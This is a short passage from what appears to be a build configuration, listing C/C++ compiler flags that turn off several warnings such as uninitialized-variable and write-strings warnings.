-Wno-write-strings -Wno-unknown-pragmas \ -Wno-uninitialized -Wno-reorder -Wno-tautological-constant-out-of-range-compare")